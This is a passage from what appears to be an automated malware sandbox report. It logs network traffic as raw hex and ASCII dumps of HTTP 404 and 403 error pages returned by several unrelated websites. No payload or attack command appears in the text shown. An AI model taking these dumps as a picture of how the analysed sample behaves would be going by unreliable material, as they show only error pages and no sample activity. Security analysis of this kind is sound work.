61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 67 63 61 6e 2e 63 6f 2e 75 6b 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 54 47 20 43 61 6e 20 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveCache-Control: privateSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-AspNet-Version: 4.0.30319X-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=MO8Dczz4aT5OH5NBtMYZ1k1jkgQRXzJLz0qWGTMqodk%2B8dece0N1hC74XZm8k%2FUXxM%2FzBRWnVx48p9pCKVBTnadROeLY0NBpax122%2BgZIaYqZazV%2BvGUVpwpLLtrSHu286o%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845d9fed8eb3cb-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: PHP/5.3.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:22 GMTcontent-length: 1635Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9X-Powered-By: PHP/5.4.16Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 38 0d 0a 3c 68 31 3e 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 18<h1>404: Not Found</h1>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cacheContent-Type: text/htmlX-Server: WEB07Date: Wed, 20 Dec 2023 02:13:23 GMTContent-Length: 103Vary: Accept-EncodingData Raw: 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 68 61 73 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e Data Ascii: The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 199Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmlserver: Microsoft-IIS/7.5x-powered-by: ASP.NETdate: Wed, 20 Dec 2023 02:13:23 GMTcontent-length: 1635Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 57 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 54 68 65 20 70 61 67 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 54 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 50 6c 65 61 73 65 20 74 72 79 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 4d 61 6b 65 20 73 75 72 65 20 74 68 61 74 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 64 72 65 73 73 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 61 64 64 72 65 73 73 20 62 61 72 20 6f 66 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 69 73 20 73 70 65 6c 6c 65 64 20 61 6e 64 20 66 6f 72 6d 61 74 74 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 49 66 20 79 6f 75 20 72 65 61 63 68 65 64 20 74 68 69 73 20 70 61 67 65 20 62 79 20 63 6c 69 63 6b 69 6e 67 20 61 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 63 74 0d 0a 20 74 68 65 20 57 65 62 20 73 69 74 65 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 74 6f 20 61 6c 65 72 74 20 74 68 65 6d 20 74 68 61 74 20 74 68 65 20 6c 69 6e 6b 20 69 73 20 69 6e 63 6f 72 72 65 63 74 6c 79 20 66 6f 72 6d 61 74 74 65 64 2e 0d 0a 3c 2f 6c 69 3e 0d 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://twohillsstudio.com/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 31 66 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 3e 0a 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 54 77 6f 20 48 69 6c 6c 73 20 53 74 75 64 69 6f 3c 2f 74 69 74 6c 65 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 74 68 65 43 68 61 6d 70 4c 6f 61 64 45 76 65 6e 74 28 65 29 7b 76 61 72 20 74 3d 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3b 69 66 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 65 7d 65 6c 73 65 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 29 3b 65 28 29 7d 7d 7d 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 74 68 65 43 68 61 6d 70 44 65 66 61 75 6c 74 4c 61 6e 67 20 3d 20 27 65 6e 5f 55 53 27 2c 20 74 68 65 43 68 61 6d 70 43 6c 6f 73 65 49 63 6f 6e 50 61 74 68 20 3d 20 27 68 74 74 70 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 73 75 70 65 72 2d 73 6f 63 69 61 6c 69 7a 65 72 2f 69 6d 61 67 65 73 2f 63 6c 6f 73 65 2e 70 6e 67 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 63 72 69 70 74 3e 76 61 72 20 74 68 65 43 68 61 6d 70 53 69 74 65 55 72 6c 20 3d 20 27 68 74 74 70 73 3a 2f 2f 74 77 6f 68 69 6c 6c 73 73 74 75 64 69 6f 2e 63 6f 6d 27 2c 20 74 68 65 43 68 61 6d 70 56 65 72 69 66 69 65 64 20 3d 20 30 2c 20 74 68 65 43 68 61 6d 70 45 6d 61 69 6c 50 6f 70 75 70 20 3d 20 30 2c 20 68 65 61 74 65 6f 72 53 73 4d 6f 72 65 53 68 61 72 65 50 6f 70 75 70 53 65 61 72 63 68 54 65 78 74 20 3d 20 27 53 65 61 72 63 68 27 3b 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 09 09 09 09 09 09 2e 74 68 65 5f 63 68 61 6d
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveSet-Cookie: ARRAffinity=3adacca6c2f81875efead5591d2a8d02faa6e8843c1dd1a10e8da178ce234c0c;Path=/;HttpOnly;Domain=micresearch.netX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=iJX5jYYfOQSYj5F%2FpBKZZf8YPg81P6lNU3nj%2FySRDxomm92mH7x9zyvE%2F1QSiACCxknnxARRfyVu8vlqy0vseUDw%2B0uMW%2Br0KFF6iKyvObaI5vV0lCbJ7l4wJE5jMadskWE%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845da2df2c746f-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400Data Raw: 36 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 14 c8 c1 0d 84 30 0c 04 c0 56 b6 00 74 d5 d0 c0 02 0b b1 2e b1 91 43 90 e8 1e 31 cf 99 8b 90 ea 31 72 15 9e 18 60 0a 35 e2 6f 7e 60 8f 44 61 c7 22 39 52 2d 6e 6d 13 0a 37 d8 d5 e1 6c c2 5a e8 c7 b7 91 b0 8e 4b ed 8c 64 5a 7d 30 9c 37 ad 72 a9 fa bd 00 00 00 ff ff 03 00 67 a8 2a 4b 67 00 00 00 0d 0a Data Ascii: 6c0Vt.C11r`5o~`Da"9R-nm7lZKdZ}07rg*Kg
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveKeep-Alive: timeout=15Date: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheX-Frame-Options: denyContent-Encoding: gzipData Raw: 32 33 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 85 54 4d 6f d3 40 10 bd f7 57 4c 8d 50 40 c4 71 7a 43 89 dd 03 50 2a a0 d4 95 5a 84 90 b8 ac bd 63 7b 5a 7b 37 da 5d e7 03 c4 7f 67 bc 4e a4 84 b8 24 97 68 e7 e3 bd dd f7 66 1c 9f 7f 48 df 3f fc b8 bb 82 ca 35 f5 e5 59 dc ff 41 5c a1 90 97 67 00 71 83 4e 40 5e 09 63 d1 25 41 eb 8a f0 6d e0 13 d6 6d 6a 04 b7 59 60 12 38 5c bb 28 b7 d6 67 3c d4 18 32 2d 37 63 78 b1 10 c6 29 34 63 a0 c2 88 06 e1 37 83 1e fe 2a a4 b2 72 b3 8b e9 f4 e5 fc 28 b9 22 e9 aa 67 72 8d 30 25 a9 d9 f4 b8 6b 21 a4 24 55 0e a5 32 6d 24 9a a1 8c 6e 5d 4d 0a 87 52 85 56 2e b4 f4 0b 9f b9 c9 12 8d a3 5c d4 a1 a8 a9 54 b3 4c 58 ec a0 8e 2f 96 89 fc a9 34 ba 55 72 e6 8c 50 96 d5 41 e5 0e eb fe 1c 88 d0 c9 38 20 9a 66 ca a2 d6 ab 59 45 52 a2 3a 46 88 23 6f d0 9e 87 fc 06 e6 4a 82 db f4 7b 00 8a bd 48 02 5c 2f c8 60 6f db d6 e9 5d 15 29 89 eb 31 14 ba 66 96 31 88 ba de 35 5d a7 e9 f5 cd d5 bb f4 a1 9f 83 7e 40 4e b7 19 9d 69 b7 a5 3a 0f 43 f8 e8 91 d9 25 f8 ca 23 16 3e 88 12 0a 5a a3 05 cb 42 72 38 24 6b 5b 3e 6a 05 8d ce 88 67 4d e2 92 72 8e 84 e1 c0 ab fc a0 24 7d 49 e8 0f 73 20 45 8e d8 95 0e 11 93 8b c9 74 0e 8d 58 53 d3 36 fb a1 d6 a2 f1 67 91 71 d5 74 be 7b e7 92 70 b5 d0 c6 75 cf 8c a3 ed 42 c4 9d 1f 9e 5e d2 12 48 26 c1 76 c0 7b 31 22 8e fa ac cd 0d 2d dc fe 7a 3c 8a a5 e8 a3 fd 96 48 9d b7 0d 1b 32 59 19 72 f8 ea c0 f4 dd 82 8c e2 ff e2 40 2d 54 d9 8a 92 9d fc cc e8 f7 9e 33 18 0d 42 ed 20 df c0 c8 9a 3c 09 a2 c8 a2 d4 7c f9 27 d6 7a 92 eb 26 2a 4c d3 1d a3 53 fd 2b 1e 0d bd 9a d4 3a 17 8e b4 9a 54 da 3a 60 d8 93 8d a3 4f e9 6d 7a 7f d7 53 7e fb 72 8a 67 14 75 d7 99 3c f2 cc 0c 97 32 67 fc 33 ea 15 fa a7 e4 75 b7 10 bc 02 5e 11 ef 5f ef 1b fb d8 7d e7 fe 02 e4 39 6b fe f7 04 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 23aTMo@WLP@qzCPZc{Z{7]gN$hfH?5YA\gqN@^c%AmmjY`8\(g<2-7cx)4c7r("gr0%k!$U2m$n]MRV.\TLX/4UrPA8 fYER:F#oJ{H\/`o])1f15]~@Ni:C%#>ZBr8$k[>jgMr$}Is EtXS6gqt{puB^H&v{1"-z<H2Yr@-T3B <\|'z&*LS+:T:`OmzS~rgu<2g3u^_}9k0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:23 GMTServer: ApacheVary: accept-language,accept-charsetAccept-Ranges: bytesTransfer-Encoding: chunkedContent-Type: text/html; charset=iso-8859-1Content-Language: enData Raw: 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 0d 0a 61 66 0d 0a 49 53 4f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 0d 0a 65 0d 0a 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 0d 0a 31 33 0d 0a 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 0d 0a 33 38 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 0d 0a 31 31 30 0d 0a 70 6f 73 74 6d 61 73 74 65 72 40 6d 65 75 72 72 65 6e 73 2e 6f 72 67 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 0d 0a 31 62 0d 0a 4f 62 6a 65 63 74 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0d 0a 33 39 0d 0a 0a 0a 20 20 20 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 0a 20 20 0d 0a 35 37 0d 0a 0a 0a 20 20 20 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 0a 20 20 20 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 0a 0a 20 20 0d 0a 32 0d 0a 0a 0a 0d 0a 39 0d 0a 3c 2f 70 3e 0a 3c 70 3e 0a 0d 0a 34 38 0d 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 